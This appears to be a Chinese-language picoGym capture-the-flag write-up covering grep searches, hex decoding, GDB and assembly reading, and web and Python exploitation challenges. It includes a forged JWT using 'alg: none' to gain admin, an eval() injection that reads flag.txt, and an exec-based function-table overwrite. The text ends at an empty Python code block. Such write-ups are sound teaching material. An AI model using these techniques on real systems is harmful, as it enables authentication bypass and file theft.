---
# System prepended metadata

title: picoGym Exclusive Writeup
tags: [CTF, picoCTF]

---

# picoGym Exclusive Writeup
The CTF challenges writeup for picoGym Exclusive.


# General Skills

## Big Zip <span style="color: green;"> [Easy] </span>

### Challenge description
Unzip this archive and find the flag.
* [Download zip file](https://artifacts.picoctf.net/c/505/big-zip-files.zip)

### Solution
將題目提供的檔案下載下來並解壓縮後，可以看到裡面包含了很多的文件跟資料夾：

```bash
$ ls -1 big-zip-files | wc -l
759
```

而我們可以用 `grep` 在 `big-zip-files` 裡面直接搜尋 flag 的 prefix "picoCTF" 來得到 flag：

```bash
$ grep -r picoCTF big-zip-files
big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/whzxrpivpqld.txt:information on the record will last a billion years. Genes and brains and books encode picoCTF{gr3p_15_m4g1c_xxxxxxxx}
```

### Summary
Flag: `picoCTF{gr3p_15_m4g1c_xxxxxxxx}`


## First Find <span style="color: green;"> [Easy] </span>

### Challenge description
Unzip this archive and find the file named 'uber-secret.txt'
* [Download zip file](https://artifacts.picoctf.net/c/501/files.zip)

### Solution
跟上題一樣是要在檔案裡面找到 flag 的題目，所以可以直接使用 `grep` 來解決：

```bash
$ grep -r picoCTF files        
files/adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/uber-secret.txt:picoCTF{f1nd_15_f457_xxxxxxxx}
```

### Summary
Flag: `picoCTF{f1nd_15_f457_xxxxxxxx}`


## ASCII Numbers <span style="color: orange;"> [Medium] </span>

### Challenge description
Convert the following string of ASCII numbers into a readable string:
```
0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x35 0x63 0x31 0x31 0x5f 0x6e 0x30 0x5f 0x71 0x75 0x33 0x35 0x37 0x31 0x30 0x6e 0x35 0x5f 0x31 0x6c 0x6c 0x5f 0x74 0x33 0x31 0x31 0x5f 0x79 0x33 0x5f 0x6e 0x30 0x5f 0x6c 0x31 0x33 0x35 0x5f 0x34 0x34 0x35 0x64 0x34 0x31 0x38 0x30 0x7d
```

### Solution
將每個 hex 轉成對應的 ascii 並組合起來就能得到 flag 了：

```python
message = "0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x35 0x63 0x31 0x31 0x5f 0x6e 0x30 0x5f 0x71 0x75 0x33 0x35 0x37 0x31 0x30 0x6e 0x35 0x5f 0x31 0x6c 0x6c 0x5f 0x74 0x33 0x31 0x31 0x5f 0x79 0x33 0x5f 0x6e 0x30 0x5f 0x6c 0x31 0x33 0x35 0x5f 0x34 0x34 0x35 0x64 0x34 0x31 0x38 0x30 0x7d"

flag = "".join([chr(int(x, 16)) for x in message.split()])
print(flag)
```

### Summary
Flag: `picoCTF{45c11_n0_qu35710n5_1ll_t311_y3_n0_l135_xxxxxxxx}`


# Web Exploitation

## JAuth <span style="color: orange;"> [Medium] </span>

### Challenge description
Most web application developers use third party components without testing their security. Some of the past affected companies are:

* Equifax (a US credit bureau organization) - breach due to unpatched Apache Struts web framework CVE-2017-5638
* Mossack Fonesca (Panama Papers law firm) breach - unpatched version of Drupal CMS used
* VerticalScope (internet media company) - outdated version of vBulletin forum software used

Can you identify the components and exploit the vulnerable one?
The website is running here. Can you become an `admin`?
You can login as `test` with the password `Test123!` to get started.

### Solution
打開網站後，可以看到一個登入頁面：

![image](https://hackmd.io/_uploads/SJS9hoE5C.png)

嘗試用題目提供的帳號密碼 `test` / `Test123!` 登入後，檢查 Cookie 會發現我們多出了一個 token：

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzIzMjk5MTQ1NDIxLCJhZ2VudCI6Ik1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzE1XzcpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjcuMC4wLjAgU2FmYXJpLzUzNy4zNiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzIzMjk5MTQ1fQ.i-dng_QC3fOBpouIzVVoRIzgT0KGpcHCFOYWK9vKqbY
```

我們可以從它的外觀或題目提示中得知它是 JWT token，然後將其丟到 jwt.io 來看到相關的資料：

![image](https://hackmd.io/_uploads/SkObk6E9A.png)

可以看到 role 的部分目前的值是 `user`，根據題目描述，我們需要想辦法將其改變成 `admin`。

JWT token 的 Payload 是透過 base64 encode 的，因此將其 decode 就能看到相關的資料，但我們不能直接更改值然後將其編碼回去來試圖改變 token，因為 JWT 包含一段 Signature，如果改變 Payload 的話會使 Signature 驗證失敗，同時我們傳送的 token 也會變得無效。

但是，在 Header 的部分有包含一些訊息：

```json
{
  "typ": "JWT",
  "alg": "HS256"
}
```

"alg" 欄位代表的是使用的簽名算法，而在某些不安全的 JWT Implement 中，"alg" 的值可以被更改為 none，使該 token 不進行簽名驗證，透過這個方法我們可以重新建置我們的 token：

```json
// Header
{
  "typ": "JWT",
  "alg": "none"
}
```

```json
// Payload
{
  "auth": 1723299145421,
  "agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36",
  "role": "admin",
  "iat": 1723299145
}
```

將資料編碼回去，並刪掉最後的 Signature，就能得到偽造過後的 token 了：

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdXRoIjoxNzIzMjk5MTQ1NDIxLCJhZ2VudCI6Ik1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzE1XzcpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjcuMC4wLjAgU2FmYXJpLzUzNy4zNiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTcyMzI5OTE0NX0.
```

接著回去網頁將 token 更改並重整瀏覽器就能拿到 flag 了：

![image](https://hackmd.io/_uploads/ByG08lS50.png)

### Resource
[JWT(JSON Web Token) — 原理介紹](https://medium.com/%E4%BC%81%E9%B5%9D%E4%B9%9F%E6%87%82%E7%A8%8B%E5%BC%8F%E8%A8%AD%E8%A8%88/jwt-json-web-token-%E5%8E%9F%E7%90%86%E4%BB%8B%E7%B4%B9-74abfafad7ba)

[JSON Web Tokens - jwt.io](https://jwt.io/)

[JWT encode/decode - Tribestream](https://tribestream.io/tools/jwt/)

### Summary
Flag: `picoCTF{succ3ss_@u7h3nt1c@710n_xxxxxxxx}`


# Reverse Engineering

## Picker I <span style="color: orange;"> [Medium] </span>

### Challenge description
This service can provide you with a random number, but can it do anything else?
The program's source code can be downloaded [here](https://artifacts.picoctf.net/c/514/picker-I.py).

### Solution
從題目提供的檔案中可以看出，這個程式會執行與使用者輸入的名稱對應的函式：

```python
while(True):
  try:
    print('Try entering "getRandomNumber" without the double quotes...')
    user_input = input('==> ')
    eval(user_input + '()')
  except Exception as e:
    print(e)
```

而檔案中還包含了一個叫做 `win()` 的函式，這個 function 的功能是將 flag 以 hex 的樣式印出：

```python
def win():
  # This line will not work locally unless you create your own 'flag.txt' in
  #   the same directory as this script
  flag = open('flag.txt', 'r').read()
  #flag = flag[:-1]
  flag = flag.strip()
  str_flag = ''
  for c in flag:
    str_flag += str(hex(ord(c))) + ' '
  print(str_flag)
```

因此只要連上 server 輸入 win 拿到 hex 值，然後寫一段轉換程式就能夠拿到 flag 了：

```python
hex_flag = "" # put flag's hex value here
flag = "".join([chr(int(x, 16)) for x in hex_flag.split()])
print(flag)
```

### Summary
Flag: `picoCTF{4_d14m0nd_1n_7h3_r0ugh_xxxxxxxx}`


## Picker II <span style="color: orange;"> [Medium] </span>

### Challenge description
Can you figure out how this program works to get the flag?
The program's source code can be downloaded [here](https://artifacts.picoctf.net/c/522/picker-II.py).

### Solution
這題跟上題有個一模一樣的 `win()`，但這次程式會驗證使用者的輸入是否包含 win：

```python
def filter(user_input):
  if 'win' in user_input:
    return False
  return True


while(True):
  try:
    user_input = input('==> ')
    if( filter(user_input) ):
      eval(user_input + '()')
    else:
      print('Illegal input')
  except Exception as e:
    print(e)
```

題目只有對 win 進行阻擋，而因為我們的輸入會送到 `eval()`，所以我們可以直接略過 `win()` 去讀取 flag：

```        
==> print(open("flag.txt", "r").read())
picoCTF{f1l73r5_f41l_c0d3_r3f4c70r_m1gh7_5ucc33d_xxxxxxxx}
'NoneType' object is not callable
```

可以看到，如果在 function 後面多接了括號，後面的括號會導致報錯 `'NoneType' object is not callable`，但不影響前面第一個的執行。

### Summary
Flag: `picoCTF{f1l73r5_f41l_c0d3_r3f4c70r_m1gh7_5ucc33d_xxxxxxxx}`


## Picker III <span style="color: orange;"> [Medium] </span>

### Challenge description
Can you figure out how this program works to get the flag?
The program's source code can be downloaded [here](https://artifacts.picoctf.net/c/525/picker-III.py).

### Solution
這題的程式跟前面的有比較大的差別，我們可以從主程式的地方開始看起：

```python
reset_table()

while(USER_ALIVE):
  choice = input('==> ')
  if( choice == 'quit' or choice == 'exit' or choice == 'q' ):
    USER_ALIVE = False
  elif( choice == 'help' or choice == '?' ):
    help_text()
  elif( choice == 'reset' ):
    reset_table()
  elif( choice == '1' ):
    call_func(0)
  elif( choice == '2' ):
    call_func(1)
  elif( choice == '3' ):
    call_func(2)
  elif( choice == '4' ):
    call_func(3)
  else:
    print('Did not understand "'+choice+'" Have you tried "help"?')
```

程式會先執行 `reset_table()`，接著根據使用者輸入的數字去執行 `call_func()`，看起來能透過數字執行對應的 function，所以接著查看 `call_func()` 是怎麼運行的：

```python
def call_func(n):
  """
  Calls the nth function in the function table.
  Arguments:
    n: The function to call. The first function is 0.
  """

  # Check table for viability
  if( not check_table() ):
    print(CORRUPT_MESSAGE)
    return

  # Check n
  if( n < 0 ):
    print('n cannot be less than 0. Aborting...')
    return
  elif( n >= FUNC_TABLE_SIZE ):
    print('n cannot be greater than or equal to the function table size of '+FUNC_TABLE_SIZE)
    return

  # Get function name from table
  func_name = get_func(n)

  # Run the function
  eval(func_name+'()')
```

`call_func()` 的描述顯示了會根據輸入的數字找到 function table 中對應的 function 執行，而查看 `reset_table()` 會發現它會在程式一開始時重置 `func_table` 的資料：

```python
def reset_table():
  global func_table

  # This table is formatted for easier viewing, but it is really one line
  func_table = \
'''\
print_table                     \
read_variable                   \
write_variable                  \
getRandomNumber                 \
'''
```

查看 `get_func()` 之後可以知道 `call_func()` 使用的 function table 就是 `func_table`，而從題目提示中可以知道我們需要嘗試更改 `func_table`，如果可以將其中一個更改為 `win()` 我們就能拿到 flag 了。

而在目前能使用的 function 中，擁有更改功能的看起來只有 `write_variable()`，所以先查看它是怎麼運作的：

```python
def write_variable():
  var_name = input('Please enter variable name to write: ')
  if( filter_var_name(var_name) ):
    value = input('Please enter new value of variable: ')
    if( filter_value(value) ):
      exec('global '+var_name+'; '+var_name+' = '+value)
    else:
      print('Illegal value')
  else:
    print('Illegal variable name')
```

可以知道我們能透過這個 function 更改變數的值，而程式中有分別對 `var_name` 跟 `value` 進行驗證，所以我們不能輸入一些其他的符號，在這種情況下有兩種做法能達到我們要的效果拿到 flag：

1. 更改 function

我們可以直接更改 `getRandomNumber()` 指向的 funtion：

```
==> 3
Please enter variable name to write: getRandomNumber
Please enter new value of variable: win
==> 4
0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x37 0x68 0x31 0x35 0x5f 0x31 0x35 0x5f 0x77 0x68 0x34 0x37 0x5f 0x77 0x33 0x5f 0x67 0x33 0x37 0x5f 0x77 0x31 0x37 0x68 0x5f 0x75 0x35 0x33 0x72 0x35 0x5f 0x31 0x6e 0x5f 0x63 0x68 0x34 0x72 0x67 0x33 0x5f 0x61 0x31 0x38 0x36 0x66 0x39 0x61 0x63 0x7d
```

將 `getRandomNumber()` 指向 `win()` 之後輸入對應 `getRandomNumber` 的數字就可以拿到 flag 的 hex 值了。

2. 更改 function table

從 `call_func()` 可以得知整個運作過程是透過 `get_func()` 取得 `func_name` 再丟入 `eval` 執行，來達到執行對應 function 的功能，而 `get_func()` 又是從 `func_table` 中透過計算每個 entry 的長度來找到 `func_name` 的：

```python
def get_func(n):
  global func_table

  # Check table for viability
  if( not check_table() ):
    print(CORRUPT_MESSAGE)
    return

  # Get function name from table
  func_name = ''
  func_name_offset = n * FUNC_TABLE_ENTRY_SIZE
  for i in range(func_name_offset, func_name_offset+FUNC_TABLE_ENTRY_SIZE):
    if( func_table[i] == ' '):
      func_name = func_table[func_name_offset:i]
      break

  if( func_name == '' ):
    func_name = func_table[func_name_offset:func_name_offset+FUNC_TABLE_ENTRY_SIZE]
  
  return func_name
```

因此如果我們改變 `func_table` 的值的話，我們可以直接控制執行的 function。而 `call_func()` 中一開始會先執行 `check_table()` 對 `func_table` 進行驗證：

```python
FUNC_TABLE_SIZE = 4
FUNC_TABLE_ENTRY_SIZE = 32

def check_table():
  global func_table

  if( len(func_table) != FUNC_TABLE_ENTRY_SIZE * FUNC_TABLE_SIZE):
    return False

  return True
```

驗證的方法只會檢查 `func_table` 的長度是否正確，因此只要最後 `func_table` 的長度為 4 * 32 = 128 就可以通過驗證。

所以我們可以透過 `write_variable()` 將 `func_table` 的值更改掉，前面的內容我們可以不更改，只將 `getRandomNumber` 改成 `win` 並保證長度相同：

```
print_table                     read_variable                   write_variable                  win                             
```

這樣 payload 就建好了，接著連上 server 丟入後執行就能拿到 flag 的 hex 值：

```
==> 3
Please enter variable name to write: func_table
Please enter new value of variable: "print_table                     read_variable                   write_variable                  win                             "
==> 1
1: print_table
2: read_variable
3: write_variable
4: win
==> 4
0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x37 0x68 0x31 0x35 0x5f 0x31 0x35 0x5f 0x77 0x68 0x34 0x37 0x5f 0x77 0x33 0x5f 0x67 0x33 0x37 0x5f 0x77 0x31 0x37 0x68 0x5f 0x75 0x35 0x33 0x72 0x35 0x5f 0x31 0x6e 0x5f 0x63 0x68 0x34 0x72 0x67 0x33 0x5f 0x61 0x31 0x38 0x36 0x66 0x39 0x61 0x63 0x7d
```

最後只要將 hex 轉回去就能拿到 flag 了。

### Summary
Flag: `picoCTF{7h15_15_wh47_w3_g37_w17h_u53r5_1n_ch4rg3_xxxxxxxx}`


## GDB baby step 1 <span style="color: orange;"> [Medium] </span>

### Challenge description
Can you figure out what is in the `eax` register at the end of the `main` function? Put your answer in the picoCTF flag format: `picoCTF{n}` where n is the contents of the `eax` register in the decimal number base. If the answer was `0x11` your flag would be `picoCTF{17}`.
Disassemble [this](https://artifacts.picoctf.net/c/512/debugger0_a).

### Solution
用 `gdb` 打開題目提供的檔案後，我們可以用 `disas main` 來查看主程式 `main` 是怎麼運行的：

```C++
gef➤  disas main
Dump of assembler code for function main:
   0x0000000000001129 <+0>:     endbr64 
   0x000000000000112d <+4>:     push   rbp
   0x000000000000112e <+5>:     mov    rbp,rsp
   0x0000000000001131 <+8>:     mov    DWORD PTR [rbp-0x4],edi
   0x0000000000001134 <+11>:    mov    QWORD PTR [rbp-0x10],rsi
   0x0000000000001138 <+15>:    mov    eax,0x86342
   0x000000000000113d <+20>:    pop    rbp
   0x000000000000113e <+21>:    ret    
End of assembler dump.
```

可以看到，最後 `eax` 被賦值為 `0x86342`，因此把這個數字轉成 dec base 就是 flag 了。

### Summary
Flag: `picoCTF{549698}`


## GDB baby step 2 <span style="color: orange;"> [Medium] </span>

### Challenge description
Can you figure out what is in the `eax` register at the end of the `main` function? Put your answer in the picoCTF flag format: `picoCTF{n}` where n is the contents of the `eax` register in the decimal number base. If the answer was `0x11` your flag would be `picoCTF{17}`.
Disassemble [this](https://artifacts.picoctf.net/c/520/debugger0_b).

### Solution
跟上題一樣，先用 `disas main` 檢查程式：

```C++
gef➤  disas main
Dump of assembler code for function main:
   0x0000000000401106 <+0>:     endbr64 
   0x000000000040110a <+4>:     push   rbp
   0x000000000040110b <+5>:     mov    rbp,rsp
   0x000000000040110e <+8>:     mov    DWORD PTR [rbp-0x14],edi
   0x0000000000401111 <+11>:    mov    QWORD PTR [rbp-0x20],rsi
   0x0000000000401115 <+15>:    mov    DWORD PTR [rbp-0x4],0x1e0da
   0x000000000040111c <+22>:    mov    DWORD PTR [rbp-0xc],0x25f
   0x0000000000401123 <+29>:    mov    DWORD PTR [rbp-0x8],0x0
   0x000000000040112a <+36>:    jmp    0x401136 <main+48>
   0x000000000040112c <+38>:    mov    eax,DWORD PTR [rbp-0x8]
   0x000000000040112f <+41>:    add    DWORD PTR [rbp-0x4],eax
   0x0000000000401132 <+44>:    add    DWORD PTR [rbp-0x8],0x1
   0x0000000000401136 <+48>:    mov    eax,DWORD PTR [rbp-0x8]
   0x0000000000401139 <+51>:    cmp    eax,DWORD PTR [rbp-0xc]
   0x000000000040113c <+54>:    jl     0x40112c <main+38>
   0x000000000040113e <+56>:    mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000401141 <+59>:    pop    rbp
   0x0000000000401142 <+60>:    ret    
End of assembler dump.
```

我們可以簡單的在 main+59 的位置設一個斷點，接著執行程式並查看在那個時候 `eax` 的值：

```C++
gef➤  b *main+59
Breakpoint 1 at 0x401141
gef➤  r
```

如果有安裝其他的 plugin 應該可以從 plugin 提供的訊息中看到 `eax` 的值：

```C++
$rax   : 0x4af4b
```

或是使用 `print` 列印出變數值：

```C++
gef➤  print $eax
$1 = 0x4af4b
```

### Summary
Flag: `picoCTF{307019}`


## GDB baby step 3 <span style="color: orange;"> [Medium] </span>

### Challenge description
Now for something a little different. `0x2262c96b` is loaded into memory in the `main` function. Examine byte-wise the memory that the constant is loaded in by using the GDB command `x/4xb addr`. The flag is the four bytes as they are stored in memory. If you find the bytes `0x11 0x22 0x33 0x44` in the memory location, your flag would be: `picoCTF{0x11223344}`.
Debug [this](https://artifacts.picoctf.net/c/531/debugger0_c).

### Solution
根據題目描述，我們要找到的是 `0x2262c96b` 在 stack 中存放的樣子。首先一樣先檢查 `main`：

```C++
gef➤  disas main
Dump of assembler code for function main:
   0x0000000000401106 <+0>:     endbr64 
   0x000000000040110a <+4>:     push   rbp
   0x000000000040110b <+5>:     mov    rbp,rsp
   0x000000000040110e <+8>:     mov    DWORD PTR [rbp-0x14],edi
   0x0000000000401111 <+11>:    mov    QWORD PTR [rbp-0x20],rsi
   0x0000000000401115 <+15>:    mov    DWORD PTR [rbp-0x4],0x2262c96b
   0x000000000040111c <+22>:    mov    eax,DWORD PTR [rbp-0x4]
   0x000000000040111f <+25>:    pop    rbp
   0x0000000000401120 <+26>:    ret    
End of assembler dump.
```

可以看到，`0x2262c96b` 被存在 `[rbp-0x4]` 的位置，並沒有做其他的操作。而如果知道 big endian 跟 little endian 的觀念的話，我們可以直接查看這個檔案是用哪種儲存方法來判斷 `0x2262c96b` 是怎麼儲存的：

```bash
$ file debugger0_c 
debugger0_c: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a10a8fa896351748020d158a4e18bb4be15cd3aa, for GNU/Linux 3.2.0, not stripped
```

這個檔案是 little endian 的儲存方式，因此在 stack 中的樣子即為 `0x6bc96222`。

或是我們也可以在 main+22 設定一個斷點，然後執行程式並查看 `[rbp-0x4]` 的值：

```C++
gef➤  b *main+22
Breakpoint 1 at 0x40111c
gef➤  r
```

```C++
gef➤  x/4xb $rbp-4
0x7fffffffdb9c: 0x6b    0xc9    0x62    0x22
```

最後把得到的資料組合成題目描述的格式就可以拿到 flag 了。

### Summary
Flag: `picoCTF{0x6bc96222}`


## GDB baby step 4 <span style="color: orange;"> [Medium] </span>

### Challenge description
`main` calls a function that multiplies `eax` by a constant. The flag for this challenge is that constant in decimal base. If the constant you find is 0x1000, the flag will be `picoCTF{4096}`.
Debug [this](https://artifacts.picoctf.net/c/532/debugger0_d).

### Solution
跟前面一樣，先用 `disas main` 查看程式：

```C++
gef➤  disas main
Dump of assembler code for function main:
   0x000000000040111c <+0>:     endbr64 
   0x0000000000401120 <+4>:     push   rbp
   0x0000000000401121 <+5>:     mov    rbp,rsp
   0x0000000000401124 <+8>:     sub    rsp,0x20
   0x0000000000401128 <+12>:    mov    DWORD PTR [rbp-0x14],edi
   0x000000000040112b <+15>:    mov    QWORD PTR [rbp-0x20],rsi
   0x000000000040112f <+19>:    mov    DWORD PTR [rbp-0x4],0x28e
   0x0000000000401136 <+26>:    mov    DWORD PTR [rbp-0x8],0x0
   0x000000000040113d <+33>:    mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000401140 <+36>:    mov    edi,eax
   0x0000000000401142 <+38>:    call   0x401106 <func1>
   0x0000000000401147 <+43>:    mov    DWORD PTR [rbp-0x8],eax
   0x000000000040114a <+46>:    mov    eax,DWORD PTR [rbp-0x4]
   0x000000000040114d <+49>:    leave  
   0x000000000040114e <+50>:    ret    
End of assembler dump.
```

題目描述 `main` 呼叫了一個 function 來將 `eax` 乘上一個常數，而我們可以在 `main` 的組合語言程式碼中看到程式會呼叫一個 `func1` 函式，因此我們可以再繼續檢查這個 function 的內容來找到用來作乘法的常數：

```C++
gef➤  disas func1
Dump of assembler code for function func1:
   0x0000000000401106 <+0>:     endbr64 
   0x000000000040110a <+4>:     push   rbp
   0x000000000040110b <+5>:     mov    rbp,rsp
   0x000000000040110e <+8>:     mov    DWORD PTR [rbp-0x4],edi
   0x0000000000401111 <+11>:    mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000401114 <+14>:    imul   eax,eax,0x3269
   0x000000000040111a <+20>:    pop    rbp
   0x000000000040111b <+21>:    ret    
End of assembler dump.
```

可以看到，在 func1+14 的位置使用 `imul` 做了乘法的運算，因此我們的常數就是 `0x3269`。

### Summary
Flag: `picoCTF{12905}`


## Bit-O-Asm-1 <span style="color: orange;"> [Medium] </span>

### Challenge description
Can you figure out what is in the `eax` register? Put your answer in the picoCTF flag format: `picoCTF{n}` where `n` is the contents of the `eax` register in the decimal number base. If the answer was `0x11` your flag would be `picoCTF{17}`.
Download the assembly dump [here](https://artifacts.picoctf.net/c/509/disassembler-dump0_a.txt).

### Solution
從題目提供的檔案中能夠看到 `eax` 最後被賦值為 `0x30`：

```C++
<+0>:     endbr64 
<+4>:     push   rbp
<+5>:     mov    rbp,rsp
<+8>:     mov    DWORD PTR [rbp-0x4],edi
<+11>:    mov    QWORD PTR [rbp-0x10],rsi
<+15>:    mov    eax,0x30
<+20>:    pop    rbp
<+21>:    ret
```

所以將 `0x30` 轉成 dec base 就是 flag 了。

### Summary
Flag: `picoCTF{48}`


## Bit-O-Asm-2 <span style="color: orange;"> [Medium] </span>

### Challenge description
Can you figure out what is in the `eax` register? Put your answer in the picoCTF flag format: `picoCTF{n}` where `n` is the contents of the `eax` register in the decimal number base. If the answer was `0x11` your flag would be `picoCTF{17}`.
Download the assembly dump [here](https://artifacts.picoctf.net/c/510/disassembler-dump0_b.txt).

### Solution
打開題目給的檔案並查看內容：

```C++
<+0>:     endbr64 
<+4>:     push   rbp
<+5>:     mov    rbp,rsp
<+8>:     mov    DWORD PTR [rbp-0x14],edi
<+11>:    mov    QWORD PTR [rbp-0x20],rsi
<+15>:    mov    DWORD PTR [rbp-0x4],0x9fe1a
<+22>:    mov    eax,DWORD PTR [rbp-0x4]
<+25>:    pop    rbp
<+26>:    ret
```

可以看到 `[rbp-0x4]` 的值為 `0x9fe1a`，而 `eax` 的值又為 `[rbp-0x4]` 的值，因此 `0x9fe1a` 轉成十進制就是 flag。

### Summary
Flag: `picoCTF{654874}`


## Bit-O-Asm-3 <span style="color: orange;"> [Medium] </span>

### Challenge description
Can you figure out what is in the `eax` register? Put your answer in the picoCTF flag format: `picoCTF{n}` where `n` is the contents of the `eax` register in the decimal number base. If the answer was `0x11` your flag would be `picoCTF{17}`.
Download the assembly dump [here](https://artifacts.picoctf.net/c/530/disassembler-dump0_c.txt).

### Solution
首先打開題目給的檔案檢查程式：

```C++
<+0>:     endbr64 
<+4>:     push   rbp
<+5>:     mov    rbp,rsp
<+8>:     mov    DWORD PTR [rbp-0x14],edi
<+11>:    mov    QWORD PTR [rbp-0x20],rsi
<+15>:    mov    DWORD PTR [rbp-0xc],0x9fe1a
<+22>:    mov    DWORD PTR [rbp-0x8],0x4
<+29>:    mov    eax,DWORD PTR [rbp-0xc]
<+32>:    imul   eax,DWORD PTR [rbp-0x8]
<+36>:    add    eax,0x1f5
<+41>:    mov    DWORD PTR [rbp-0x4],eax
<+44>:    mov    eax,DWORD PTR [rbp-0x4]
<+47>:    pop    rbp
<+48>:    ret
```

可以看到，`eax` 首先賦值為 `[rbp-0xc]` (`0x9fe1a`)，接下來將它乘以 `[rbp-0x8]` (`0x4`)，最後再加上 `0x1f5`。所以我們可以算出 `eax` 最後的值為 `0x27fa5d`，把這個值轉成十進制之後用題目給的樣式包起來就是 flag 了。

### Summary
Flag: `picoCTF{2619997}`


## Bit-O-Asm-4 <span style="color: orange;"> [Medium] </span>

### Challenge description
Can you figure out what is in the `eax` register? Put your answer in the picoCTF flag format: `picoCTF{n}` where `n` is the contents of the `eax` register in the decimal number base. If the answer was `0x11` your flag would be `picoCTF{17}`.
Download the assembly dump [here](https://artifacts.picoctf.net/c/511/disassembler-dump0_d.txt).

### Solution
一樣先打開檔案查看程式：

```C++
<+0>:     endbr64 
<+4>:     push   rbp
<+5>:     mov    rbp,rsp
<+8>:     mov    DWORD PTR [rbp-0x14],edi
<+11>:    mov    QWORD PTR [rbp-0x20],rsi
<+15>:    mov    DWORD PTR [rbp-0x4],0x9fe1a
<+22>:    cmp    DWORD PTR [rbp-0x4],0x2710
<+29>:    jle    0x55555555514e <main+37>
<+31>:    sub    DWORD PTR [rbp-0x4],0x65
<+35>:    jmp    0x555555555152 <main+41>
<+37>:    add    DWORD PTR [rbp-0x4],0x65
<+41>:    mov    eax,DWORD PTR [rbp-0x4]
<+44>:    pop    rbp
<+45>:    ret
```

可以從最後幾行看到，`eax` 的值等於 `[rbp-0x4]` 的值，因此如果知道 `[rbp-0x4]` 的值就能拿到 flag。
 
在程式的執行過程中，`[rbp-0x4]` 會先被設定為 `0x9fe1a`，接著判斷 `[rbp-0x4]` 是否小於 `0x2710`。符合條件的話就會跳到 main+37 的位置，但因為結果並不符合，所以繼續依序向下執行。最後會將 `[rbp-0x4]` 減掉 `0x65`，並跳到 main+41 的位置，將 `[rbp-0x4]` 的值賦予為 `eax` 的值。

因此可以得出 `eax = [rbp-0x4] = 0x9fe1a - 0x65 = 654773`。

### Summary
Flag: `picoCTF{654773}`


## ASCII FTW <span style="color: orange;"> [Medium] </span>

### Challenge description
This program has constructed the flag using hex ascii values. Identify the flag text by disassembling the program.
You can download the file from [here](https://artifacts.picoctf.net/c/507/asciiftw).

### Solution
先嘗試執行程式：

```bash
$ ./asciiftw 
The flag starts with 70
```

可以看到程式告訴我們 flag 是從 70 開頭的。接下來使用 `gdb` 分析程式找尋更多訊息：

```C++
gef➤  disas main
```

```C++
   0x0000000000001184 <+27>:    mov    BYTE PTR [rbp-0x30],0x70
   0x0000000000001188 <+31>:    mov    BYTE PTR [rbp-0x2f],0x69
   0x000000000000118c <+35>:    mov    BYTE PTR [rbp-0x2e],0x63
   0x0000000000001190 <+39>:    mov    BYTE PTR [rbp-0x2d],0x6f
   0x0000000000001194 <+43>:    mov    BYTE PTR [rbp-0x2c],0x43
   0x0000000000001198 <+47>:    mov    BYTE PTR [rbp-0x2b],0x54
   0x000000000000119c <+51>:    mov    BYTE PTR [rbp-0x2a],0x46
   0x00000000000011a0 <+55>:    mov    BYTE PTR [rbp-0x29],0x7b
   0x00000000000011a4 <+59>:    mov    BYTE PTR [rbp-0x28],0x41
   0x00000000000011a8 <+63>:    mov    BYTE PTR [rbp-0x27],0x53
   0x00000000000011ac <+67>:    mov    BYTE PTR [rbp-0x26],0x43
   0x00000000000011b0 <+71>:    mov    BYTE PTR [rbp-0x25],0x49
   0x00000000000011b4 <+75>:    mov    BYTE PTR [rbp-0x24],0x49
   0x00000000000011b8 <+79>:    mov    BYTE PTR [rbp-0x23],0x5f
   0x00000000000011bc <+83>:    mov    BYTE PTR [rbp-0x22],0x49
   0x00000000000011c0 <+87>:    mov    BYTE PTR [rbp-0x21],0x53
   0x00000000000011c4 <+91>:    mov    BYTE PTR [rbp-0x20],0x5f
   0x00000000000011c8 <+95>:    mov    BYTE PTR [rbp-0x1f],0x45
   0x00000000000011cc <+99>:    mov    BYTE PTR [rbp-0x1e],0x41
   0x00000000000011d0 <+103>:   mov    BYTE PTR [rbp-0x1d],0x53
   0x00000000000011d4 <+107>:   mov    BYTE PTR [rbp-0x1c],0x59
   0x00000000000011d8 <+111>:   mov    BYTE PTR [rbp-0x1b],0x5f
   0x00000000000011dc <+115>:   mov    BYTE PTR [rbp-0x1a],0x37
   0x00000000000011e0 <+119>:   mov    BYTE PTR [rbp-0x19],0x42
   0x00000000000011e4 <+123>:   mov    BYTE PTR [rbp-0x18],0x43
   0x00000000000011e8 <+127>:   mov    BYTE PTR [rbp-0x17],0x44
   0x00000000000011ec <+131>:   mov    BYTE PTR [rbp-0x16],0x39
   0x00000000000011f0 <+135>:   mov    BYTE PTR [rbp-0x15],0x37
   0x00000000000011f4 <+139>:   mov    BYTE PTR [rbp-0x14],0x31
   0x00000000000011f8 <+143>:   mov    BYTE PTR [rbp-0x13],0x44
   0x00000000000011fc <+147>:   mov    BYTE PTR [rbp-0x12],0x7d
```

可以看到一長串可以的 hex 值，並且是從 `0x70` 開頭的，因此將這串 hex 轉為 ascii 應該就是我們要的 flag 了。

Python 轉換：
```python
